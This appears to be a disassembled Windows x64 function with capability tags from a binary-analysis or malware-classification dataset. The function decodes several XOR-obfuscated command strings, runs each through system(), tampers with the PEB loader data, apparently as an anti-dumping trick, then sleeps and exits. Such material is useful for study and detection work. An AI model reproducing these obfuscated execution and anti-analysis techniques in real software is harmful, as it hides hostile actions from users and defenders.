Function at 0x1400030a0
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get ntdll base address
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x490
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14008c080]
xor rax, rsp
mov qword [rbp + 0x440], rax
xor r12d, r12d
movabs rsi, 0x955c4be6e167d51f
movabs rdi, 0xf3e35bb1c7d6f4e2
movabs r14, 0x6739733fd3931a20
movabs r15, 0xc20ba648c1286d31
movabs r13, 0xb53b258f950eb448
movabs r8, 0x6739733fd3935211
movabs rbx, 0x19f7ebe3426ad244
movabs rdx, 0xae6d10fdab558e04
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.14000ab90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
call fcn.140002f80
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xe12823c68d15a07c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x95d1010fca96950
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xa679c92bb241091f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xdc8e34d2e9a68483
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x93f8d699589cb192
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x2fc5dad26d19a62a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x5a5495f8c11cffc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x69bedfccfb565ac0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x7aa20198a31e9796
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xb325b8b5413a19bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xc3bc31a236d586c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x8ec4e09c4ea0d4a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x1d957ea6a31d3f0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x8fc88691d2316ec1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x680bb767909525b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x1c309769168abb7d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xc72279f720657c4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x3641aec29c5810c2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x8e53500e1f2d03a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xea61d74c4c485b16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x9ad61faa4ed8806f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rcx, 0xf73ac593b7e8a654
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rax, 0xf695befa39e8c5f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0x6264a0ccf82ac6f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x468fedf5cd6e6ff6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x4d9633ae9a2da6a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x80138e8771022c88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xa6db50d019e6b6f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xe7a2cdf93ccfb78a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0x3df912c28d705a7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xe69fdaab911101ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0xd78eb14e7fa41dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x786cee1d7ff8ce1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x9b470a964204082f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x442ecdeff93f71b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xa03e3578764b2ec1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x8312fa616c243772
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x9ad61faa3ab6e503
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqa xmm0, xmmword [rbp + 0x140]
vxorps xmm0, xmm0, xmmword [rbp + 0x3e0]
vmovdqa xmmword [rbp + 0x140], xmm0
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xe12823c68d15a07c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x95d1010fca96950
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xa679c92bb241091f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xdc8e34d2e9a68483
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0x93f8d699589cb192
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x2fc5dad26d19a62a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x5a5495f8c11cffc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x69bedfccfb565ac0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x7da30198a31e9796
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xb22bb8b745331db0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x88b13eb936d284c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xa482a2d41caacfef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x4a9676ace4270641
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x8fedafc8f4625d9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x6f199f7583a638a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x56068074239dbd7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xf23427bb6261704a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x442ecdef8d5114dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0xf695befa39e8c5f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x6264a0ccf82ac6f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0x468fedf5cd6e6ff6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0x4d9633ae9a2da6a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x80138e8771022c88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0xa6db50d019e6b6f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
movabs rax, 0xe7a2cdf93ccfb78a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x3df912c28d705a7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0xe69fdaab911101ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xd78eb14e7fa41dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x786cee1d7ff8ce1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x9b470a964204082f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0x442ecdeff93f71b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x320]
vmovdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x160]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xfc0b17dca247b17c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x24a2f4ca4fc7e4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa657df3ca85a1852
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xf38628d0a5b78083
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 8], 0xb9adb39f
mov dword [rbp + 0xc], 0x98baf090
mov word [rbp + 0x10], 0x84
mov byte [rbp + 0x12], 1
mov rax, r12
nop
lea ecx, [rax - 0x27]
xor byte [rbp + rax + 8], cl
inc rax
cmp rax, 9
jb 0x140003b20
mov byte [rbp + 0x12], 0
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x11]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.14000ada0
nop
lea rcx, [rbp + 0x60]
call fcn.1400028f0
mov rbx, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140003b91
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003c6d
call fcn.14006ea54
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
test rbx, rbx
jne 0x140003c74
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x2a5c055695b37c4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xc20ba648c106431f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
vmovdqu ymm0, ymmword [rbp + 0x420]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.1400021f0
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000310e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0xb53b258f8506ba53
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x49175d4bb2f67263
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rcx, [rbp + 0x200]
vzeroupper
call fcn.1400021f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xf1393f85840dbb56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x6739733fd3931a01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.140002440
movabs rax, 0xfa38258fb63bef5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x154c105aa0cf6957
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xa37fc72c9d511958
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x998d32eda2a59580
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0xf695befa5c90a0dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rbx, 0x19f7ebe3426ad244
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs r12, 0xf695befa39e8c5f3
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqa xmm2, xmmword [rbp + 0x220]
vxorps xmm2, xmm2, xmmword [rbp + 0x260]
vmovdqa xmmword [rbp + 0x220], xmm2
lea rcx, [rbp + 0x200]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xc20071a5c10bb07b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x14650048bcf77449
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x9e72d221b35d0e54
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x96903ad3a6a29586
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x93eddbd45386acaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x27c5cb8f3704ec64
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0x6264a0ccf82af7d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rcx, 0x468fedf5cd6e6ff6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x6264a0ccf82ac6f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x260], ymm1
lea rcx, [rbp + 0x240]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3